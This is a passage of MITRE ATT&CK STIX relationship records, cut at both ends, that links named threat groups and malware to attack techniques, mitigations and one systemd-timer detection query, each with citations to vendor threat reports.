2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.222Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) contains a custom version of the RC4 algorithm that includes a programming error.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fbaf2482-7ab9-4feb-bb88-06646559d9ca","created":"2023-02-08T00:25:04.317Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T00:25:04.317Z","description":"[metaMain](https://attack.mitre.org/software/S1059) has authenticated itself to a different implant, Cryshell, through a port knocking and handshake procedure.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbb82f95-94fd-4faf-a106-8c7a7191446e","type":"relationship","created":"2020-10-20T03:37:05.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:49:49.845Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbba8143-52be-4b81-8af7-94518799faaa","type":"relationship","created":"2020-02-28T15:22:27.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AdSecurity Cracking Kerberos Dec 2015","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","url":"https://adsecurity.org/?p=2293"}],"modified":"2022-03-08T21:45:02.560Z","description":"Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbbaf901-4d1a-41e0-9040-78185113ffdf","type":"relationship","created":"2020-07-01T21:19:30.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.398Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) uses HTTP requests for C2.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbc1faff-226a-4ea3-a08a-81b64066496d","type":"relationship","created":"2020-11-19T16:44:55.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-25T15:36:18.416Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can implement DGA using the current date as a seed variable.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbc7300a-9c05-4830-8968-2322772f239d","type":"relationship","created":"2020-11-10T19:05:51.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:05:51.194Z","description":"[Javali](https://attack.mitre.org/software/S0528) has used embedded VBScript to download malicious payloads from C2.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbc77ca5-46b1-4c5b-8e48-d053d1eb238d","type":"relationship","created":"2021-03-12T18:46:47.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.254Z","description":"[Sibot](https://attack.mitre.org/software/S0589) communicated with its C2 server via HTTP GET requests.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbc96b86-2c57-40b6-89f7-d7a755275a45","type":"relationship","created":"2020-05-04T19:13:35.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.499Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to hide the window for operations performed on a given file.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbcd00ef-0518-414d-9026-b736f036606a","type":"relationship","created":"2019-03-18T14:05:57.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:22:40.206Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes, including [HOMEFRY](https://attack.mitre.org/software/S0232).(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbce0681-c5d2-4ea9-b48a-4fc42448f9e0","type":"relationship","created":"2019-04-23T14:59:04.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.972Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) has the ability to persist on a system using WMI events.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbe4387a-5e79-45e0-aae1-9b3a53dcd3ee","type":"relationship","created":"2022-03-24T21:39:40.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.954Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can collect information related to a compromised host, including OS version and a list of drives.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbe5352c-7c4f-437c-a439-d212ba6d439b","type":"relationship","created":"2020-09-24T14:20:39.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.250Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can decrypt AES encrypted C2 communications.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbe555c3-5c7b-44e7-a48f-293bdae9de0c","type":"relationship","created":"2021-04-27T15:46:45.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-04-27T15:46:45.720Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584)'s spearphishing links required user interaction to navigate to the malicious website.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fbe56c62-5123-4783-8e66-7457c8cf66a2","created":"2022-06-13T15:27:38.730Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can send DNS C2 communications using a unique domain generation algorithm.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T14:12:47.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fbeb5e6c-5574-4d41-add3-01efec419ae7","created":"2023-08-01T19:05:49.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T20:46:39.448Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has saved stolen files including the `ntds.dit` database and the `SYSTEM` and `SECURITY` Registry hives locally to the `C:\\Windows\\Temp\\` directory.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbf22973-f91d-440a-9559-65bc2d8e3739","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2019-04-24T23:40:23.554Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) can upload files from the victim's machine to its C2 server.(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbf2cca6-d734-49b2-a1a9-6c393b99fd91","type":"relationship","created":"2020-07-15T19:02:25.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."},{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}],"modified":"2020-07-15T20:33:40.882Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used SSL and TLS in communications with C2.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fbf73b94-a193-4b6c-9e04-7f0a279d9ce9","created":"2024-08-26T18:08:44.634Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:08:44.634Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) embedded payloads in trojanized software for follow-on execution.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fbf8de30-cf6d-4420-b928-b0be01b1f3ed","created":"2024-07-10T19:37:25.654Z","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-10T19:37:25.654Z","description":"[FRP](https://attack.mitre.org/software/S1144) has the ability to use HTTP and HTTPS to enable the forwarding of requests for internal services via domain name.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fbf9654c-45f2-41bc-83ec-3dfdfa6d5115","created":"2024-07-25T22:31:42.209Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:31:42.209Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) stores network configuration data in a file XOR encoded with the key value of `0x7A`.(Citation: Symantec Daggerfly 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fbfa0807-ce03-4448-a50d-f0337d2446f2","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T15:59:31.839Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component can list directory contents.(Citation: FireEye Periscope March 2018)(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbfb4e97-11d5-497a-8d57-a9ebe5254f56","type":"relationship","created":"2021-04-06T15:53:34.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:40.209Z","description":"[Doki](https://attack.mitre.org/software/S0600) has searched for the current process’s PID.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fbfb5985-1c23-4828-9091-2dcfe6b365c2","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:16:55.069Z","description":"Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAnalytic 1 - Look for systemd timer creation events with unusual parameters.\n\n sourcetype=linux_logs (command=\"systemctl start *.timer\" OR command=\"systemctl enable *.timer\" OR command=\"systemctl daemon-reload\")","relationship_type":"detects","source_ref":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","target_ref":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.497Z","description":"[SslMM](https://attack.mitre.org/software/S0058) sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fc0432e9-1b49-4be8-b86e-15cdec6b070e","created":"2019-06-05T17:31:22.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif File Dec 2014","description":"Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/"},{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.895Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has copied itself to and infected removable drives for propagation.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro Ursnif File Dec 